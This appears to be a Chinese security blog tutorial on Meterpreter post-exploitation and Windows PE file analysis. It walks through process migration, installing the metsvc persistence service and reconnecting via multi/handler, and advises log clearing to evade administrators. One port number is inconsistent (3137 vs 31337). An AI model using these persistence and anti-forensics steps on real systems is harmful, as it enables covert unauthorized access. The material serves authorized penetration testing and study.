40、网络安全技术:Meterpreter操作与可移植可执行文件分析

网络安全技术:Meterpreter操作与可移植可执行文件分析

1. Meterpreter的其他功能与日志清理

Meterpreter具备多种功能,例如若曾创建过用户,可运行后渗透模块 delete_user 来删除用户。不过,添加和删除用户的操作会记录在日志中,所以需清理日志以消除操作痕迹。但要注意,并非所有系统都将日志存于本地,清理本地日志不意味着远程系统未存储相关日志,有时让操作记录混杂在大量其他日志事件中或许是更好的选择。

2. 维持对目标系统的访问

维持对目标系统的访问方法因操作系统而异,以受攻击的Windows系统为例,使用Meterpreter有效载荷,可按以下步骤操作:
1. 在Meterpreter shell中运行 ps 命令获取进程列表。
2. 选择一个可迁移的进程,如 explorer.exe (PID为5088),使用 migrate 5088 命令将Meterpreter shell的可执行代码迁移到该进程空间。
3. 运行 metsvc 安装Meterpreter服务,该服务监听3137端口。

以下是具体示例:

5060  952   dwm.exe     x64   1        VAGRANT - 2008R2\v  C:\Windows\system
                                        agrant            32\Dwm.exe
5088  5052  explorer.e  x64   1        VAGRANT - 2008R2\v  C:\Windows\Explor
             xe                         agrant            er.EXE
6068  468   svchost.ex  x64   0        NT AUTHORITY\LOC
             e                          AL SERVICE
6096  468   msdtc.exe   x64   0        NT AUTHORITY\NET
                                        WORK SERVICE

meterpreter > migrate 5088
[*] Migrating from 1104 to 5088...
[*] Migration completed successfully.
meterpreter > run metsvc

[!] Meterpreter scripts are deprecated. Try 
exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory ↩
C:\Users\vagrant\AppData\Local\Temp\1\zeKXWOsROH...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc - server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
         * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

meterpreter > shell
Process 1296 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>net start
net start
These Windows services are started:

   Apache Tomcat 8.0 Tomcat8
   Application Experience

   MEDC Server Component - Apache
   MEDC Server Component - Notification Server
   Meterpreter
   Microsoft FTP Service

再次访问该系统时,可在Metasploit中使用 multi/handler 模块,具体步骤如下:
1. 加载 multi/handler 模块: use exploit/multi/handler
2. 设置本地主机地址 LHOST 和端口 LPORT

msf6 exploit(multi/handler) > set LHOST 192.168.4.52
LHOST => 192.168.4.52
msf6 exploit(multi/handler) > set LPORT 31337
LPORT => 31337
  1. 运行 exploit 启动反向TCP处理程序,等待与远程系统建立Meterpreter会话。
3. 操作系统与内存管理

在计算机科学中,“操作系统”常被误解,实际看到的桌面环境是操作环境,操作系统(内核)负责管理硬件交互,包括内存和处理器管理、输入输出操作。

计算机采用冯·诺依曼架构,操作系统需为进程分配内存并管理虚拟地址与物理地址的转换。虚拟地址可使进程在内存中重新定位,操作系统借助转换后备缓冲器(TLB)加速地址转换。过去内存有限时,操作系统会将进程内存分页存储到磁盘(分页操作),如今系统内存充足,分页文件可能不再必要,可通过 free -h 命令查看系统内存使用情况。

以下是Kali Linux系统的 free -h 输出示例:

┌──(kilroy@badmilo)-[~]
└─$ free -h
               total        used        free      shared  buff/cache   available
Mem:           7.8Gi       1.4Gi       1.9Gi        41Mi       4.8Gi   6.4Gi
Swap:          975Mi          0B       975Mi

此外,可通过 /proc 伪文件系统查看Linux系统的内存管理信息,如 /proc/meminfo 文件包含了可用内存和交换空间使用情况的统计信息。

4. 程序和进程结构

程序是存储在磁盘上的可执行文件,加载到内存后成为进程。不同操作系统使用不同的可执行文件格式,如Windows使用PE格式,Linux常用ELF格式,macOS使用Mach - O格式。

可执行文件格式为操作系统的加载器提供程序元素的布局指导,通常包含可执行代码和数据部分。以Windows的PE文件为例,其结构如下:
| 组成部分 | 说明 |
| ---- | ---- |
| DOS信息 | 包含DOS模式头和存根程序,用于兼容DOS程序 |
| 映像文件头 | 提供机器信息、节数量和符号数量等 |
| 映像可选头 | 包含入口点、基地址、子系统信息和映像大小等 |
| 节 | 如 .text (可执行代码)、 .data (全局变量)、 .bss (未初始化变量)、 .rdata (只读数据)、 .rsrc (资源) |

Kali Linux的 pev 工具包可用于分析PE文件:
- pescan :提供文件的概述信息,可用于查找恶意软件的可疑标记。
- readpe :提取PE文件所有头的详细信息并以可读形式输出。
- peldd :列出PE文件依赖的外部库。
- pesec :检测编译器在生成代码时使用的安全特性,如地址空间布局随机化(ASLR)、数据执行保护(DEP/NX)、结构化异常处理(SEH)和栈cookie。

以下是各工具的使用示例:

┌──(kilroy@badmilo)-[~]
└─$ pescan sample.exe
file entropy:                    4.981127 (normal)
fpu anti - disassembly:            no
imagebase:                       suspicious
entrypoint:                      normal
DOS stub:                        normal
TLS directory:                   not found
timestamp:                       normal
section count:                   6
sections
    section
        .text:                           normal
    section
        .rdata:                          normal
    section
        .data:                           small length
    section
        .pdata:                          small length
    section
        .rsrc:                           small length
    section
        .reloc:                          small length

┌──(kilroy@badmilo)-[~]
└─$ readpe sample.exe
DOS Header
    Magic number:                    0x5a4d (MZ)
    Bytes in last page:              144
    Pages in file:                   3
    Relocations:                     0
    Size of header in paragraphs:    4
    Minimum extra paragraphs:        0
    Maximum extra paragraphs:        65535
    Initial (relative) SS value:     0
    Initial SP value:                0xb8
    Initial IP value:                0
    Initial (relative) CS value:     0
    Address of relocation table:     0x40
    Overlay number:                  0
    OEM identifier:                  0
    OEM information:                 0
    PE header offset:                0xf0
COFF/File header
    Machine:                         0x8664 IMAGE_FILE_MACHINE_AMD64
    Number of sections:              6
    Date/time stamp:                 1706196794 (Thu, 25 Jan 2024 15:33:14 UTC)
    Symbol Table offset:             0
    Number of symbols:               0
    Size of optional header:         0xf0
    Characteristics:                 0x22
    Characteristics names
                                         IMAGE_FILE_EXECUTABLE_IMAGE
                                         IMAGE_FILE_LARGE_ADDRESS_AWARE
Optional/Image header
    Magic number:                    0x20b (PE32+)
    Linker major version:            14
    Linker minor version:            38
    Size of .text section:           0x1000
    Size of .data section:           0x2200
    Size of .bss section:            0
    Entrypoint:                      0x1510
    Address of .text section:        0x1000
    ImageBase:                       0x140000000
    Alignment of sections:           0x1000
    Alignment factor:                0x200
    Major version of required OS:    6
    Minor version of required OS:    0
    Major version of image:          0
    Minor version of image:          0
    Major version of subsystem:      6
    Minor version of subsystem:      0
    Size of image:                   0x8000
    Size of headers:                 0x400
    Checksum:                        0
    Subsystem required:              0x3 (IMAGE_SUBSYSTEM_WINDOWS_CUI)

┌──(kilroy@badmilo)-[~]
└─$ peldd sample.exe
Dependencies
    MSVCP140.dll
    VCRUNTIME140_1.dll
    VCRUNTIME140.dll
    api - ms - win - crt - runtime - l1 - 1 - 0.dll
    api - ms - win - crt - math - l1 - 1 - 0.dll
    api - ms - win - crt - stdio - l1 - 1 - 0.dll
    api - ms - win - crt - locale - l1 - 1 - 0.dll
    api - ms - win - crt - heap - l1 - 1 - 0.dll
    KERNEL32.dll

┌──(kilroy@badmilo)-[~]
└─$ pesec sample.exe
ASLR:                            yes
DEP/NX:                          yes
SEH:                             yes
Stack cookies (EXPERIMENTAL):    no

通过上述工具和方法,可深入了解程序的结构和运行机制,有助于发现潜在的安全漏洞和恶意软件行为。

网络安全技术:Meterpreter操作与可移植可执行文件分析

5. 详细分析PE文件的安全特性

在分析PE文件时,了解其安全特性对于判断文件是否存在潜在风险至关重要。以下几种安全特性常被用于保护程序免受攻击:

  • 结构化异常处理(SEH) :这是微软为C++异常处理添加的扩展,能以可控方式处理代码中的灾难性情况,防止因崩溃而导致执行流程被恶意控制。当程序出现异常时,SEH机制会接管处理,确保故障得到妥善清理。
  • 栈cookie(栈金丝雀) :其作用是防止缓冲区溢出被恶意利用。在函数调用时,栈cookie会被放置在返回指针之前。当函数返回时,会检查栈cookie的值是否与初始值匹配。若不匹配,则说明栈可能已被破坏,返回地址不可信。

pesec 工具可用于检测编译器在生成代码时是否启用了这些安全特性。以下是一个示例:

┌──(kilroy@badmilo)-[~]
└─$ pesec sample.exe
ASLR:                            yes
DEP/NX:                          yes
SEH:                             yes
Stack cookies (EXPERIMENTAL):    no

从上述输出可以看出,该PE文件启用了地址空间布局随机化(ASLR)、数据执行保护(DEP/NX)和结构化异常处理(SEH),但未启用栈cookie。

6. 利用Metasploit和PE分析工具的实际应用场景

在实际的网络安全工作中,Metasploit和PE分析工具可用于多种场景,以下是一些常见的应用:

  • 漏洞利用与清理 :Metasploit可用于攻击目标系统,在成功入侵后,还能使用其功能清理操作痕迹,如删除用户、清除日志等,避免被系统管理员发现。
  • 维持持久访问 :通过在目标系统上安装Meterpreter服务,可在后续随时建立连接,对目标系统进行进一步的操作,如上传和下载文件、执行命令等。
  • 恶意软件分析 :使用Kali Linux的 pev 工具包分析PE文件,可帮助安全人员识别恶意软件的特征,如可疑的入口点、异常的节大小等。

下面是一个简单的流程图,展示了利用Metasploit和PE分析工具的一般流程:

graph LR
    A[目标系统] --> B[使用Metasploit进行攻击]
    B --> C{攻击成功?}
    C -- 是 --> D[安装Meterpreter服务]
    C -- 否 --> B
    D --> E[维持持久访问]
    E --> F[获取PE文件]
    F --> G[使用pev工具分析PE文件]
    G --> H{是否为恶意软件?}
    H -- 是 --> I[进行进一步分析和处理]
    H -- 否 --> J[结束分析]
7. 总结与注意事项

通过本文的介绍,我们了解了Meterpreter的其他功能、维持对目标系统访问的方法,以及操作系统的内存管理和程序/进程结构。同时,还详细介绍了Windows PE文件的结构和Kali Linux中用于分析PE文件的工具。

在使用这些技术和工具时,需要注意以下几点:
- 日志清理 :虽然清理日志可以隐藏操作痕迹,但并非所有系统都将日志存储在本地,因此清理本地日志可能无法完全消除痕迹。在某些情况下,让操作记录混杂在大量其他日志事件中可能是更好的选择。
- 安全特性 :在分析PE文件时,要关注其安全特性,如ASLR、DEP/NX、SEH和栈cookie等。这些特性可以提高程序的安全性,但也可能被攻击者利用来绕过安全机制。
- 合法使用 :这些技术和工具仅用于合法的安全测试和研究,严禁用于非法活动。在进行任何安全测试之前,务必获得目标系统所有者的授权。

总之,掌握这些技术和工具可以帮助安全人员更好地理解程序的运行机制,发现潜在的安全漏洞,保护系统免受攻击。同时,也需要不断学习和实践,跟上网络安全领域的发展步伐。

8. 未来发展趋势

随着计算机技术的不断发展,网络安全领域也面临着新的挑战和机遇。以下是一些可能的未来发展趋势:

  • 人工智能与机器学习的应用 :人工智能和机器学习技术将在网络安全领域发挥越来越重要的作用。例如,利用机器学习算法可以自动识别恶意软件的特征,提高检测的准确性和效率。
  • 物联网安全 :随着物联网设备的普及,物联网安全将成为一个重要的研究领域。这些设备通常具有较低的计算能力和存储容量,容易受到攻击。因此,需要开发专门的安全技术来保护物联网设备的安全。
  • 量子计算对密码学的影响 :量子计算的发展可能会对现有的密码学算法构成威胁。因此,需要研究和开发新的量子抗性密码学算法,以保障数据的安全性。

为了应对这些挑战,安全人员需要不断学习和掌握新的技术和方法,提高自己的安全意识和技能水平。同时,也需要加强国际合作,共同应对全球性的网络安全问题。

通过对Metasploit、PE文件分析等技术的深入了解和应用,我们可以更好地保护网络系统的安全,为未来的数字化社会提供坚实的保障。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值